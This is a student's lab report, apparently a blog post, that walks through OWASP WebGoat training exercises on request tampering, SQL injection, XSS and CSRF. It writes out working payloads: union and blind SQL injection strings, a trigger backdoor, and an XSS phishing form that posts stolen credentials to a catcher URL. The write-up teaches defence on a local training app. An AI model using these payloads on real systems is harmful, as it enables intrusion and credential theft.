exp9 Web安全基础

0x0 环境说明

终于来到Web安全这一方向了，这也是课程的最后一次实验。

我还只是个Web安全的小白，对这一领域不了解。我希望通过这次实验，学习Web安全中基本的漏洞点，以及基本的漏洞利用技巧，增加了解。

当然，基础知识一定要补齐，以后学习过程中应该缺啥补啥。

• 训练环境：OWASP WebGoat project 8.0
• 8.0版本的WebGoat更像是一个teaching platform，而不是hacking platform
• 暂时只完成教学部分，challenge部分的CTF需要有实力以后再去完成。

0x1 基本技能——HTTP和HTML基础

WebGoat 8.0教学的第一部分就是学习HTTP协议，已经设置HTTP代理，修改HTTP数据包。

当然啦，作为OWASP项目，使用的工具是OWASP ZAP这个开源扫描器。

首先设置HTTP代理服务器的端口

然后再浏览器中配置HTTP代理，这里我用的是firefox

一定要注意，把localhost和127.0.0.1

练习——修改HTTP数据包

WebGoat有一个修改过HTTP数据包的练习，要求是：

• 将方法设置为GET
• 添加头部字段’x-request-intercepted:true’
• 将输入值’changeMe’改为’Requests are tampered easily’ (没有单引号)

点击ZAP的绿色小圆钮拦截请求，然后我们按要求修改、发送即可。

注意，将POST方法给为GET方法时，参数就不在HTTP数据包中了，而是变成了URL参数。

练习——绕过2FA（双因素认证）

WebGoat中提供了这样一个练习，我们要重置password，需要回答密保问题。

但是我们不知道要问题的答案，我们通过ZAP修改HTTP请求包欺骗系统，从而重置password

随便在表单中输入数据，然后用ZAP把HTTP请求截获下来。

一开始我无论怎么修改，都没办法通过验证。后来我在YouTube上看到了解决方法

把secQuestion0该为secQuestion00，把secQuestion1改为secQuestion01，然后提交就可以了。

为啥这样就能成功呢？我到现在也没弄明白。

练习——不安全的登录（Insecure Login）

webgoat中的这个教程是告诉我们传输未加密的敏感信息是非常危险的。

练习题的要求就是嗅探提交数据，得到用户名和password。

我们用ZAP直接查看HTTP请求包就可以发现username和password了。

提交上面的数据就完成了这个练习。

练习——客户端缺陷（Client side filtering）

这个练习告诉我们向客户端发送过多的信息会导致严重的 访问控制问题

我们在这个练习中的目标是获取更高权限才能获得的信息。

该练习的要求是拿到CEO的薪水信息，CEO的名字是Nevile Bartholomew。

以我的权限是无法在页面看到CEO的信息的。

但是HTML源码却泄露了CEO的信息。

我们轻松拿到了该练习的答案——CEO的薪水为450000

这道题还是相当简单的。

练习——绕过前端限制（Bypass front-end restrictions）

用户能够轻易的控制前端，比如修改HTML或者脚本，因此这就是为什么服务端要验证Web应用的输入。

WebGoat中的一个练习就要求我们绕过表单的限制。

我们要做的

• select下拉列表应该选择全部的两个选项
• 单选框radio要两个选项都选择到
• checkbox复选框两种状态都要有
• 绕过输入表单长度限制

既然有ZAP在手，直接修改HTTP请求即可

通过HTTP代理修改请求包后再发送，我们成功完成这个练习

练习——HTML篡改（HTML tampering）

WebGoat给出的另一个练习是这样的：

我们的目标是以尽量低的价格购买电视机。

这道题主要是展示客户端的不可信的。我们直接查看HTML源码，看看这个表单是啥样子的。

我们发现了一个隐藏域，看起来服务器是接收这个隐藏域来确定价格的（真是太乱来了……）

随便修改这个隐藏域中的数字，干脆弄成“0”吧。ZAP中也看到了这个HTTP请求。

不错，简单修改HTML就完成了这个练习的要求。

其实直接用ZAP的代理修改HTTP请求包就可以了，这和直接篡改HTML是一个效果。

小结

WebGoat给出了这么多Client Side的练习，就是要告诉我们一个道理永远不要信任客户端的输入，基本用JavaScript对数据进行筛选，我们也可以直接修改HTTP请求包。

服务器端对接收到的数据一定要再次确认和筛选。比如刚才的“买电视”，服务器一定要再次从自己的数据库里查一下电视机的单价，再做一次运算和用户数据进行比对。

前端浏览器的HTML是极易被篡改的，HTTP请求也是可以被修改的，Web前端的世界是非常脆弱的 。

0x2 课程1——注入漏洞(Injection Flaws)

这部分教学有四项内容，SQL Injection、SQL Injection(advanced)、SQL Injection(mitigations)、XXE

0x31 SQL injection（已完成两个练习）

先是基本的SQL注入教学，webgoat会介绍string SQL injection（字符串型的SQL注入）和numberirc SQL Injection（数字型SQL注入）

一个成功的SQL注入可以：

• 读取和修改数据库中的敏感数据
• 执行数据库管理员操作
  • 关闭审计或DBMS
  • 截获表格和日志
  • 添加用户
• 恢复DBMS文件系统中给定文件的内容
• 列出操作系统的指令

SQL注入举例

可能的字符串型注入有：

"select * from users where name ='" + userName + "'"; 

可能的字符型注入有：

"select * from users where employee_id = " + userID; 

攻击者可以提供的输入有

• userName = Smith’ or ‘1’ = ‘1
• userName = ‘ or 1=1 —
• userID = 1234567 or 1=1
• UserName = Smith’; drop tables users; truncate audit_log

Web应用程序会执行

• select * from users where name=‘Smith’ or ‘1’=’1′
  • select * from users where name=‘Smith’ or TRUE
• select * from users where employee_id = 1234567 or 1=1

这样，所有的记录会从数据库中返回

练习1——String SQL Injection

直接使用webgoat教程中给出的技巧即可。

练习2——numberic SQL Injection

使用数字型SQL注入的技巧即可。

0x22 SQL Injection(advanced)——进阶SQL注入（共两个练习，完成一个）

接着我们探索更高级的SQL注入话题。我们在这里需要了解

• 组合SQL注入技术（Combining SQL Injection Techniques）
• SQL盲注（Blind SQL Injection）

虽然Webgoat中说这些技巧是advanced，但放到现在，也只是基本技术。

你需要知道的特殊字符和特殊语句

Webgoat给出了特殊的字符

/* */ 是内联注释（inline comments） --, # 是行注销（line comments） 举例：Select * from users where name = 'admin' -- and pass = 'pass' 

; 允许执行多个查询（query chaining） 举例：Select * from users; drop table users; 

', +, || 允许字符串的 Char() 无引号的字符串 举例：Select * from users where name = '+char(27) or 1=1 

不过，不同的数据库也细微的差别。

一些特殊的语句在SQL注入中也起到关键的作用：

• union可以重叠数据库的表格,’select id, text from news union all select name, pass from users’
• joins可以连接到其他的表

练习1——尝试从其他表格中获取数据

Webgoat在这一部分的第一个练习，目的是找到Dave用户的password。

由于要用到union查询，我们必须知道select语句选择的列数。

我看别人的博客，好像是要用 order by排序来判断列数的。

其实在这里可以直接输入' or 1=1 --把表格全部脱出来的，很容易就知道列数了

dave不在这张表格里，需要用union语句把user_data_system表格显示出来

我们构造的字符串是

' union null, username, password, null, null, null, null from user_data_system -- 

发现了！！dave的password就是dave。

但不知道为什么，完成后WebGoat没有点亮这个图标。可能是输入的攻击字符串不是标准答案吧。

事实上，这个SQL注入点非常脆弱，只要输入

'; select * from user_daa_system; -- 

同样可以达到相同的效果。

未完成的练习

接下来的题目我还没有做出来，不过作为一个Web萌新，这是正常的。

这是一道需要综合SQL注入技术的题目，可能还需要结合SQL盲注，等我研究一下，后面再攻克这个题目。

0x23 SQL Injection(mitigations)——SQL注入的缓解与防御

这一部分介绍了SQL注入的缓解措施。

比如：不可变的查询语句、静态查询语句、参数化语句、存储过程等。

而且给出了许多例子，有兴趣的同学自己在WebGoat 8.0上浏览即可。

webgoat在这一部分只有一道习题。

这里WebGoat给出的提示是通过order by，找到webgoat-prd服务器的IP地址。

而且这里的表单并不是一个脆弱的SQL注入点。

YouTube上的一个视频展示了这道题的做法，这道题应该是截获HTTP响应包，然后进行修改。

？？？？我没有明白这道题在这一模块的作用是啥。因为只要输入表单上存在的IP地址，WebGoat都会提示你通过了。

现在我们看到表单中出现了webgoat-prd了。

暂时就当这道题是这么做的吧，虽然和SQL注入技巧关系不大，不过好歹也学会了修改HTTP响应中的JSON数据了。

我们在实践中，应该注意最小权限原则，尤其是要在数据库连接池中注意读写权限的分配。

小结

在注入漏洞(Injection Flaws)这一教学模块中，我有一道综合的SQL注入练习没有完成。

由于我对XML不是很了解（虽然在java web课程中接触过），没有完成XXE部分的教学练习。

如果我想成为一个技术大牛的话，这些技巧必须要掌握的。

但由于咱们只是玩票的性质，暂时放一放吧。

0x3 课程2——XSS

XSS的可以分为三类：反射型、存储型、基于DOM的XSS。

第一个练习

第一个练习是获取当前页面的cookie，这里需要用chrome或者firefox浏览器

新开一个标签页，并在地址栏输入一下内容

javascript:alert("XSS Test"); javascript:alert(document.cookie); 

然后比较两个标签页的cookie是否一致。

我们可以发现，这两个标签页的cookie都是JSESSIONID=D0913650405F1FEBC6B4457F52193892

练习2——一个反射型XSS

在服务器端检查用户的所有输入是一个好的实践。反射型XSS中，攻击者让用户“点击”带有攻击脚本的恶意URL。

在这个练习中，要求我们的攻击载荷包含<script>alert('my javascript here')</script>

我们的任务是找到一个哪一个表单元素是可以执行XSS。

随便选一个输入框输入攻击载荷，在按下UpdateCart按钮

WebGoat给出了通过的提示，也就是说我们尝试的注入点是对的。

（虽然我做这个练习的时候感觉莫名其妙……这是啥效果？？？）

练习3——确认一个基于DOM的XSS

基于DOM的XSS是另一种形式的反射型XSS，它们都是通过链接触犯并在浏览器上作用的。不同的是，基于DOM的XSS不会跑的服务器上，它只会在客户端上执行，攻击者的恶意代码以本地账号的权限执行。

用户不会知道发生了攻击行为……恶意攻击者不会使用<script>alert('xss')</script>

这个练习里面，需要寻找一些“测试”代码（WebGoat使用backbone作为其主要的JavaScript库）。 有时候，测试代码会在生产中遗留下来（通常测试代码非常简单，缺乏安全性或任何质量控制！）。

你的目标是找到路径并利用它。这里需要找到测试代码的位置。

根据提示，我们要检查GoatRouter.js文件，通过firefox浏览器的开发者工具就可以查看。

我们很轻松的发现，Backbone库中，测试代码的路径

然后填写答案，并提交

下一步应该是进行真正的基于DOM的XSS攻击。

未完成的练习

webgoat的XSS课程还有两个练习我没有完成。

一个就是尝试基于DOM的XSS攻击，通过URL执行webgoat.customjs.phoneHome()，然后会获取一个随机数，提交这个随机数后就完成了这个练习。

最后一个练习给出了一个场景，完成的目标和上一题一样。

我暂时还没解决这些问题，先放一放。

小结

即便做了XSS部分的三个教学练习，我对XSS还是一头雾水。

WebGoat 8.0 给出的提示和教学非常少，还得有一定的基础才能玩的开心呀。

0x4 课程3——CSRF

CSRF——跨站请求伪造，和会话劫持，点击劫持一样，是一种对网站的恶意利用，向网站发出不是用户本人但却被网站信任的请求。

CSRF有如下的特征：

• 它涉及依赖用户身份的网站
• 它利用该网站对身份的信任
• 它诱骗用户浏览器发送HTTP请求到目标站点
• 它涉及有副作用的HTTP请求

一个Web应用如果是根据受信和经过验证的用户输入来执行操作的话，它就可能面临CSRF的威胁。一个在本地浏览器通过cookie认证的用户很可能不知不觉的向网站发送HTTP请求，而且用户还不知道。

练习——Basic Get CSRF（基本的GET请求的CSRF）

WebGoat教程中给出了一个最简单的CSRF攻击。 例如，您会收到一封包含以下内容的电子邮件：

<a href="http://bank.com/transfer?account_number_from=123456789&account_number_to=987654321&amount=100000">查看我的图片！</a> 

如果用户已经在bank.com的网站保持了登录状态，这个简单的GET请求将把钱从一个账户转移到另一个账户。 当然，在大多数情况下，网站可能有多个控件来批准请求。

接着，WebGoat给出了一个练习

我们需要从外部源触发下面的表单。然后HTTP响应中会包含一个“flag”

提交这个flag就可以了。

如果在外部触发，HTTP请求头部的referer字段就会是外部源的url，WebGoat是通过referer字段来判断本题是否达到要求的。

耍个小聪明，随便改一下referer这个HTTP头部信息，果然拿到了flag。

再提交一下，答案是正确的。

我的猜测没有错，果然是通过验证referer头部来判断的。

未完待续

我还没有仔细研究CSRF，这部分就先做一个练习吧。

（虽然这第一个练习我也是靠用代理作弊，改referer通过的，笑）

其他练习以后再说（或者这这辈子都不会做了）

WebGoat 8.0 学习总结

这次实验，我的Webgoat的画风和其他同学的有点不一样。

由于WebGoat 8.0是OWASP最新推出的练习项目，网上的资料还很少。

WebGoat 8.0更像是一个教学平台（teaching platform），而不是一个漏洞平台（hacking platform）

我的水平有限，暂时只能解决一些比较简单的题目，等啥时候成为一条Web老狗，应该能把WebGoat 8.0给刷通关吧。

不过，我在大学生涯里应该达不到这种高度了。

基础问题解答

（1）SQL注入攻击原理，如何防御

• 原理：向Web应用程序输入一段精心构造的SQL查询指令，攻击和利用不完善的输入验证机制，使得注入代码得以执行完成非预期的攻击操作。
• 防范：输入过滤、参数化sql语句或直接使用存储过程、提供更少的错误信息

（2）XXS攻击原理，如何防御

• 原理：由于Web应用程序的输入验证机制不完善，攻击者在服务器端网页中插入一些恶意的客户端代码，在Web服务器上产生出一些恶意攻击页面。
• 防范：输入验证、输出净化（对HTML标签进行转义）、消除危险输入点。提升客户端浏览器安全性。

（3）CSRF攻击原理，如何防御

• 原理：攻击者盗用用户身份，伪造恶意请求发送给服务器，完成预期操作。
• 防御：通过referer、表单令牌token或验证码来检测用户提交、避免全站通用的cookie，严格设置cookie的域、不用在页面链接中暴露用户隐私信息。

实验新得与体会

课程结束了，而技术之路是没有止境的。

我在这门课程中玩了后门和木马、用了各种工具、尝试了一些漏洞、在虚拟环境里面各种捣鼓，虽然连脚本小子都算不上，但也体会到了入侵带来的快感。

不过，就算工具玩得再花，扫描器用的再熟，技术依然是浮于表面的，缺乏深入研究的，离真正的“黑客”还差的很远。

人的精力是有限的，即便是专业人士，也只是在某些细分领域略有所得。

成为公务员之后，我应该没有机会接触这些技术了。

但是，足够耐心、乐于钻研、不断学习、勇于挑战、崇尚自由甚至略微叛逆的极客精神，是我得到的最大精神财富。

补充——WebGoat 7.1 练习

webgoat8.0太新了，网上资料比较少，我给出的题目都太简单了，不符合实验要求。
（webgoat题目难度跨度过大，虽然之前的铺垫式的练习能做，但后面比较关键的练习我就没能力做了）

这里，我还是老老实实通过webgoat 7.1学习一些技术，打打基础。

一些已经和Webgoat 8.0中解题思路和方法相似的练习就不写在这里了。

SQL注入——Database Backdoors

阶段一

在第一阶段，我们需要利用字符串型的SQL注入，执行多条SQL语句。我们的任务是将自己的ID为101的账号中的salary变得更高。

数据库的表名employee，各个字段userid,password,ssn,salary,email我们都是知道的。

直接输入攻击payload

101; update employee set salary=1000000 where userid=101; 

阶段二

在这一阶段，我们需要使用SQL注入植入后门。Webgoat的教程是注入一个触发器，作为SQL后门。

触发器的语法是

CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com'WHERE userid = NEW.userid。 

非常可惜，我们的数据库好像不支持触发器，所以什么都执行不了

SQL的盲注——Blind Numberic SQL Injection

Webgoat给出了一个布尔型SQL盲注的练习。我们需要根据页面的两个不同的状态，猜测cc_number的值是11112222333334444的账户。

能看到的状态只有两种：

• Invalid account number.
• Account number is valid.

构造payload为：

101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > [num] ); 

这里的num是猜测的数字，如果num过大，我们看到的状态就是Invalid account number，如果num过小或者相等，就是Account number is valid

我们可以通过二分法找到临界值。

num的初始值我选择为5000

这个数字过大了，接着依次尝试2500,1250,1875,2186,2343,2421,2382,2363,2372,2368,2366,2365,2364,2363。

我们找到了零界点，我们可以确定最终答案就是2364了

如果能够写一个自动化的二分查找脚本就好了，可惜我不会

不过从这个练习里面我还是可以体会一些SQL盲注的技巧的。

SQL的盲注——Blind String SQL Injection

Webgoat的另一个SQL盲注的练习，就是字符串型SQL注入。这个练习的目的是找到表格中cc_number为4321432143214321的name字段。

我们需要猜测的是一个字符串，需要一个一个字符的进行猜测。

用到的SQL函数是SUBSTRING()（或者SUBSTR()，这和使用的数据库有关系）

SUBSTR(str, pos, len)表示在str中第pos个位置开始，选出len个字元。

我们可以构造这样的payload：

101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), [pos], 1) < [char] ); 

其中，pos代表字符所在的位置，char是字母，依旧使用二分法试探每个位置的字符。

经过不断的尝试，我们找到了最终答案Jill

还是一样的问题，就是SQL盲注的自动化，我暂时还不会使用工具或脚本执行这些操作

XSS练习——Phishing with XSS

这个课程是展示如何通过XSS漏洞进行钓鱼攻击。

我们的目标是

• 插入一个需要凭证的HTML
• 增加一个JavaScript来收集这些凭证
• 将凭证POST至http://localhost:8080/WebGoat/catcher?PROPERTY=yes…

我们构造的payload如下（其实是从其他人的博客抄的）：

</form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br><br> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> 

直接复制到表单中

然后出现了下面的表单：

最后得到这样的结果：

不得不吐槽，这个payload实在太过庞大了。

XSS练习——stored XSS概念验证

接着我们完成一个存储型XSS攻击的练习。

我们是使用Tom的账号在street字段执行一个存储型XSS攻击。验证Jerry受到此攻击的影响。

然后我们登录Jerry的账号

然后查看Tom Cat的账号信息。

我们这就验证了一个存储型XSS的效果。

XSS练习——Reflected XSS概念验证

这个练习展示了反射型XSS的效果。我们需要验证使用此恶意链接的另一个用户受此攻击影响。

登录账号larry，在searchStaff中输入<script>alert('Dangerous');</script>

然后，就会出现弹窗。这就是一个反射型的XSS

XSS练习——stored XSS Attacks

接下来我们模拟一个存储型的XSS攻击，创建一个可能让另一个用户加载不期望的页面的消息。

我们看到Message List中有刚才我们的消息链接，点击这个消息链接

我们的JavaScript代码执行了，这就是一个存储型的XSS。

当然，真实的XSS攻击中，攻击payload更加复杂，而且非常隐蔽。

CSRF练习——CSRF的概念验证

这个练习中，我们的目标是向新闻组发送一封email，该email包含一个image，其URL指向一个恶意请求，URL应该指向“attack”servlet，其带有课程“Screen”和“menu”参数，一个额外参数“”transferFunds”带有任意数字值诸如5000。

我们构造的payload是

<img src="http://localhost:8080/WebGoat/attack?Screen=2078372&menu=900&transferFunds=5000" width="1" height="1" /> 

我们把标题设为CSRF，提交后得到如下结果

我们点击这个链接，并且抓包修改一下参数，添加&transferFunds=5000。

接着完成这个练习。

原文链接：https://www.cnblogs.com/wyf12138/p/9074566.html